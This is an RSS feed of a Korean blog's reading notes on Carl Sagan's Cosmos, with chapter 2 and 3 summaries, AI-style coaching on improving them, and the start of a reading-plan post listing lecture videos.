<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>댕기</title>
    <link>https://thepin.tistory.com/</link>
    <description>블로그 공부 온라인강의</description>
    <language>ko</language>
    <pubDate>Sat, 30 May 2026 15:39:40 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>댕기사랑</managingEditor>
    <item>
      <title>코스모스 3장 요약</title>
      <link>https://thepin.tistory.com/239</link>
      <description>&lt;div data-renderer=&quot;lm&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: color(srgb 0.980392 0.972549 0.960784); color: #27251e; text-align: start;&quot;&gt;지상에 살지만 천상을 그리워한 케플러가 친구 튀코 브라헤의 관측 자료와 씨름하며 행성 운동 법칙을 찾아내고, 그 위에서 뉴턴이 지상의 물리학과 천상의 천문학을 하나로 엮어낸 이야기를 들려준다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;h2 id=&quot;1&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;1. 지금 문장의 좋은 점&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;원문:&lt;/p&gt;
&lt;blockquote style=&quot;color: #666666; text-align: start;&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p style=&quot;color: #666666;&quot; data-ke-size=&quot;size16&quot;&gt;지상에 살지만 천상을 그리워하는 케플러, 뉴턴의 천문학 사랑과 모정의 관계, 케플어 친구 튀코 브라혜&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;정서/캐릭터 포착&lt;/b&gt;: &amp;ldquo;지상에 살지만 천상을 그리워하는 케플러&amp;rdquo;라는 표현은 세이건이 그리는 케플러의 이미지와 잘 맞습니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;reactormag&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인물 삼각구도&lt;/b&gt;: 프톨레마이오스(지구중심) &amp;rarr; 코페르니쿠스/케플러(태양중심) &amp;rarr; 뉴턴(보편 법칙)이라는 흐름에서, 케플러&amp;ndash;튀코 브라헤&amp;ndash;뉴턴을 연결해 본 시도 자체가 좋습니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;lastminutelecture&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 id=&quot;2&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;2. 빠져 있는 핵심(빈약한 점)&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3장은 분위기 이상의 것을 합니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;supersummary&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;&amp;ldquo;점성술 vs 천문학&amp;rdquo; 구분이 핵심인데 빠져 있습니다.&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세이건은 &amp;ldquo;별을 두 가지 방식으로 본다: 있는 그대로 vs 우리가 바라는 대로&amp;rdquo;라는 말로 과학과 미신을 가르는 게 이 장의 출발점입니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;cosmos.fandom&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;케플러의 &amp;lsquo;법칙&amp;rsquo;이 안 나옵니다.&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3장은 케플러가 튀코 브라헤의 관측 자료를 집요하게 검증해, 타원 궤도와 세 개의 법칙을 찾아내는 과정을 그립니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;naver&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;즉, &amp;ldquo;수학적 법칙으로 천상의 조화를 찾아낸 장&amp;rdquo;이라는 점이 빠져 있습니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;naver&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지상과 천상의 법칙이 같다는 메시지가 없습니다.&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;케플러의 법칙 위에 뉴턴이 만유인력과 운동 법칙을 세우면서, &amp;ldquo;지상의 물리법칙 = 천상의 물리법칙&amp;rdquo;이라는 연결이 3장의 큰 결론입니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;planetary&lt;/span&gt;&lt;span&gt;&lt;span&gt;+2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 지금 문장은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&amp;ldquo;인물 드라마 요약&amp;rdquo;으로는 좋지만, &amp;ldquo;코스모스 3장 요약&amp;rdquo;으로는 과학&amp;middot;철학 부분이 비어 있는 상태&lt;/b&gt;입니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;naver&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 id=&quot;3&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;3. 내용 살리면서 보강한 한 줄 요약 예시&lt;/h2&gt;
&lt;h2 id=&quot;1&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;버전 1 &amp;ndash; 균형형&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;지상에 살지만 천상을 그리워한 케플러와 튀코 브라헤, 뉴턴의 이야기를 통해 점성술을 떠나 정확한 관측과 수학 법칙으로 하늘의 조화를 밝혀낸 과정을 따라간다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;lastminutelecture&lt;/span&gt;&lt;span&gt;&lt;span&gt;+2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;2&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;버전 2 &amp;ndash; 인물 감정 강조형&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;지상의 고단한 삶 속에서도 천상의 조화를 꿈꾼 케플러가 튀코 브라헤의 관측과 씨름하며 행성 운동 법칙을 세우고, 그 위에서 뉴턴이 지상과 천상을 하나의 물리법칙으로 엮어내는 과정을 그린다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;planetary&lt;/span&gt;&lt;span&gt;&lt;span&gt;+2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;3&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;버전 3 &amp;ndash; &amp;ldquo;지상과 천상의 하모니&amp;rdquo; 제목을 살린 형식&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;점성술과 천문학을 가르는 분기점에서, 케플러와 튀코 브라헤의 집요한 관측과 계산, 뉴턴의 통찰을 따라가며 지상의 물리법칙과 천상의 행성 법칙이 하나의 하모니를 이룬다는 사실을 보여준다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;reactormag&lt;/span&gt;&lt;span&gt;&lt;span&gt;+2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 id=&quot;4&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;4. 기존 문장을 어떻게 바꿀 수 있는지 (직접 코치)&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;현재 문장:&lt;/p&gt;
&lt;blockquote style=&quot;color: #666666; text-align: start;&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p style=&quot;color: #666666;&quot; data-ke-size=&quot;size16&quot;&gt;지상에 살지만 천상을 그리워하는 케플러, 뉴턴의 천문학 사랑과 모정의 관계, 케플어 친구 튀코 브라혜&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 감성을 최대한 살리면서 보강하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;수정안&lt;/b&gt;&lt;br /&gt;지상에 살지만 천상을 그리워한 케플러가 친구 튀코 브라헤의 관측 자료와 씨름하며 행성 운동 법칙을 찾아내고, 그 위에서 뉴턴이 지상의 물리학과 천상의 천문학을 하나로 엮어낸 이야기를 들려준다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;lastminutelecture&lt;/span&gt;&lt;span&gt;&lt;span&gt;+2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;여기까지를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;블로그용 한 줄 요약&lt;/b&gt;으로 쓰고,&lt;br /&gt;그 아래에 별도 문장으로&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;ldquo;점성술과 천문학의 갈림길에서, &amp;lsquo;원하는 대로 믿기&amp;rsquo; 대신 &amp;lsquo;측정된 대로 인정하기&amp;rsquo;가 과학의 출발이라는 메시지를 강조한다.&amp;rdquo;&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;imdb&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이런 식으로 한 줄을 더 붙여도 독서노트 완성도가 높아집니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 id=&quot;5&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;5. 한 번 더 정리해드리면&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3장은&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;점성술 vs 천문학(믿고 싶은 별자리 vs 데이터로 본 하늘)&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;cosmos.fandom&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;튀코 브라헤의 정밀 관측 + 케플러의 수학적 집착 &amp;rarr; 세 개의 행성운동법칙&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;naver&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;뉴턴이 이 법칙들을 만유인력과 운동 법칙으로 설명하며 &amp;ldquo;지상 = 천상&amp;rdquo; 하나의 물리세계로 통합&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;stevedutch&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 세 줄기가 같이 가는 장입니다.&lt;br /&gt;지금 쓰신 문장은 ②&amp;middot;③이 빠져 있으니, 위 제안 중 하나를 골라 살짝 덧붙이시면 &amp;ldquo;분위기 + 내용&amp;rdquo;이 모두 살아난 한 줄 요약이 될 것 같습니다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;어느 버전이 현재 쓰고 계신 티스토리 톤에 제일 잘 맞는지 알려주시면, 거기에 맞춰 3장용 &amp;ldquo;3문장 버전 + 체크 질문 5개&amp;rdquo;도 같이 만들어 드릴까요?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>서자</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/239</guid>
      <comments>https://thepin.tistory.com/239#entry239comment</comments>
      <pubDate>Sat, 9 May 2026 17:31:47 +0900</pubDate>
    </item>
    <item>
      <title>코스모스 2장</title>
      <link>https://thepin.tistory.com/238</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;2장&lt;br /&gt;인간의 인위선택(품종개량)과 자연선택&amp;middot;돌연변이의 진화 과정을 구분해주었고, 원시지구를 모형한 화학실험을 통해 생명기원을 추론하게 되며 , 목성 대기까지 생명 가능성의 시야를 넓혀주었다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;좋습니다. 지금 적어두신 키워드들은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;2장 핵심을 꽤 잘 잡고 계십니다.&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;다만 한 줄 요약으로 묶기에는 몇 가지가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;빠지고, 몇 가지는 표현을 조금 다듬으면 더 정확해집니다.&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://encykorea.aks.ac.kr/Article/E0074039&quot;&gt;encykorea.aks.ac&lt;/a&gt;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;먼저, 잘 잡으신 부분&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;인위선택 vs 자연선택&lt;/b&gt;을 구분한 점은 아주 좋습니다. 2장은 다윈이 비둘기 품종 개량 같은 인위선택을 보고 자연선택을 이해했다는 흐름과 맞닿아 있습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://encykorea.aks.ac.kr/Article/E0074039&quot;&gt;encykorea.aks.ac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;돌연변이, RNA, 핵산, 미토콘드리아 DNA, 유기물질 생성실험&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 키워드는 &amp;ldquo;생명의 기원과 진화의 재료&amp;rdquo;라는 맥락에서 적절합니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://encykorea.aks.ac.kr/Article/E0074039&quot;&gt;encykorea.aks.ac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;외계생명 찾기, 목성 대기&lt;/b&gt;도 코스모스의 확장된 생명관과 연결되는 좋은 키워드입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://www.sciencetimes.co.kr/?p=218571&quot;&gt;sciencetimes.co&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;빈약한 점&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;현재 한 줄 요약은 조금&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;너무 압축되어 있어서&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;2장의 두 축이 덜 보입니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;&amp;lsquo;생명의 기원&amp;rsquo; 축이 약합니다.&lt;/b&gt;&lt;br /&gt;2장은 단순히 진화 이론 설명이 아니라, &amp;ldquo;생명은 어디서 왔는가&amp;rdquo;를 함께 묻는 장입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://encykorea.aks.ac.kr/Article/E0074039&quot;&gt;encykorea.aks.ac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&amp;lsquo;세포 수준의 통합&amp;rsquo;이 빠져 있습니다.&lt;/b&gt;&lt;br /&gt;미토콘드리아 DNA, 세포내 공생 같은 내용은 &amp;ldquo;생명이 어떻게 복잡해졌는가&amp;rdquo;를 설명하는 중요한 축입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://encykorea.aks.ac.kr/Article/E0074039&quot;&gt;encykorea.aks.ac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;목성 이야기는 &amp;lsquo;외계 생명&amp;rsquo;의 대표 사례처럼 쓰이면 과장될 수 있습니다.&lt;/b&gt;&lt;br /&gt;『코스모스』의 맥락에서는 목성 자체보다, 목성 대기/가스거성/위성계가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;생명 가능성 상상과 탐사의 창&lt;/b&gt;으로 기능합니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://www.khan.co.kr/article/202601071244001&quot;&gt;khan.co&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&amp;ldquo;진화는 인위선택이 아닌 자연선택과 돌연변이의 학설&amp;rdquo;은 조금 좁습니다.&lt;/b&gt;&lt;br /&gt;현대 진화생물학에서는 돌연변이, 자연선택, 유전적 부동, 유전자 흐름까지 함께 봅니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://ko.wikipedia.org/wiki/%EC%9E%90%EC%97%B0%EC%84%A0%ED%83%9D&quot;&gt;ko.wikipedia&lt;/a&gt;&lt;br /&gt;그래서 &amp;ldquo;자연선택과 돌연변이&amp;rdquo;만 쓰면 약간 단선적으로 보일 수 있습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://encykorea.aks.ac.kr/Article/E0074039&quot;&gt;encykorea.aks.ac&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;더 정확한 한 줄 요약&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;아래처럼 바꾸면 훨씬 균형이 좋습니다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 요약 1&lt;/b&gt;&lt;br /&gt;2장은 생명의 기원을 화학과 진화의 연속선에서 바라보며, 인위선택을 단서로 자연선택&amp;middot;돌연변이&amp;middot;세포내 공생이 생명의 다양성을 만들었고, 외계 생명 가능성까지 사유를 확장하는 장이다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://www.sciencetimes.co.kr/?p=218571&quot;&gt;sciencetimes.co&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 요약 2&lt;/b&gt;&lt;br /&gt;2장은 생명이 유기물에서 출발해 RNA와 DNA, 돌연변이와 자연선택, 미토콘드리아 공생을 거치며 다양해졌다는 흐름을 보여주고, 목성과 같은 태양계 대상까지 생명 탐사의 시야를 넓힌다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://www.bbc.com/korean/articles/c2ejwr2g942o&quot;&gt;bbc&lt;/a&gt;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;문장 다듬기 코치&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;지금 문장을 살리면서 다듬으면 이렇게 됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;원문:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;진화는 인위선택아닌 자연선택과 돌연변이의 학설이며 목성등 외계 생명찾는 이야기가 나온다.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;개선:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;2장은 인위선택을 실마리로 자연선택과 돌연변이가 생명의 다양성을 만드는 과정을 설명하고, 생명의 기원과 외계 생명 가능성까지 시야를 넓힌다.&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://www.sciencetimes.co.kr/?p=218571&quot;&gt;sciencetimes.co&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;블로그용으로 더 좋은 형태&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;블로그에는 한 줄보다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&amp;ldquo;핵심 3줄&amp;rdquo;&lt;/b&gt;이 더 잘 읽힙니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;생명의 재료는 어떻게 만들어졌는가: 유기물, 핵산, RNA, DNA.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://encykorea.aks.ac.kr/Article/E0074039&quot;&gt;encykorea.aks.ac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;생명의 다양성은 어떻게 생겨났는가: 돌연변이, 자연선택, 인위선택의 비교.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://ko.wikipedia.org/wiki/%EC%9E%90%EC%97%B0%EC%84%A0%ED%83%9D&quot;&gt;ko.wikipedia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;생명은 지구에만 있는가: 목성과 외계 생명 탐사로 시야 확장.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://www.bbc.com/korean/articles/c2ejwr2g942o&quot;&gt;bbc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>서자</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/238</guid>
      <comments>https://thepin.tistory.com/238#entry238comment</comments>
      <pubDate>Tue, 5 May 2026 23:26:11 +0900</pubDate>
    </item>
    <item>
      <title>벽돌책 칼 세이컨 코스모스  독서 전략</title>
      <link>https://thepin.tistory.com/237</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;칼 세이건 『코스모스』, 읽기 전에 보는 영상&amp;middot;글 모음&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼 세이건의 『코스모스』는 책만 읽어도 좋지만, 영상 다큐와 해설을 함께 보면 이해도가 훨씬 올라갑니다. &lt;a href=&quot;https://blog.naver.com/PostView.naver?blogId=ssvg5306&amp;amp;logNo=223814981345&quot;&gt;blog.naver&lt;/a&gt;&lt;br /&gt;저는 이번에 완독을 목표로 세우면서, 먼저 다음 자료들을 훑어보고 독서 플랜을 짜봤습니다. &lt;a href=&quot;https://blog.naver.com/senalee8/221735797838&quot;&gt;blog.naver&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 이명현 박사의 『코스모스』 강의 (EBS 클래스e)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=D7KRbbDCaxI&quot;&gt;이명현의 칼 세이건의 코스모스 &amp;ndash; 제1강 코스모스에 바침 (YouTube)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLpuzWnAKjQgBMLYQ-GP-dp0TvHC7aBgvq&quot;&gt;클래스e 전체 플레이리스트&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/playlist?list=PLpuzWnAKjQgBMLYQ-GP-dp0TvHC7aBgvq&quot;&gt;youtube&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
